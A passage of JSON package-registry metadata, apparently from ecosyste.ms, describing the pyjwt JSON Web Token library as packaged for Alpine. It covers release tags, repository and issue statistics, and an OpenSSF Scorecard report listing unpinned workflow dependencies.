ts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:36.345Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":29.555125725338492,"stargazers_count":1.9729206963249517,"forks_count":2.0502901353965184,"average":8.39458413926499},"purl":"pkg:apk/alpine/py3-jwt?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.10","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-jwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-jwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-jwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/packages/py3-jwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/packages/py3-jwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/packages/py3-jwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/packages/py3-jwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/packages/py3-jwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/packages/py3-jwt/codemeta","maintainers":[],"registry":{"name":"alpine-v3.10","url":"https://pkgs.alpinelinux.org/packages?branch=v3.10","ecosystem":"alpine","default":false,"packages_count":10340,"maintainers_count":177,"namespaces_count":2,"keywords_count":925,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":396},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.780Z","updated_at":"2026-06-10T05:17:28.781Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/namespaces"}},{"id":11765731,"name":"py3-jwt","ecosystem":"alpine","description":"Python3 JSON Web Token implementation","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2025-04-27T22:28:00.000Z","latest_release_published_at":"2025-04-27T22:28:00.000Z","latest_release_number":"2.10.1-r0","last_synced_at":"2026-04-15T02:06:40.825Z","created_at":"2025-06-07T18:27:39.908Z","updated_at":"2026-05-29T04:00:35.972Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.22/community/x86_64/py3-jwt","install_command":"apk add py3-jwt","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build 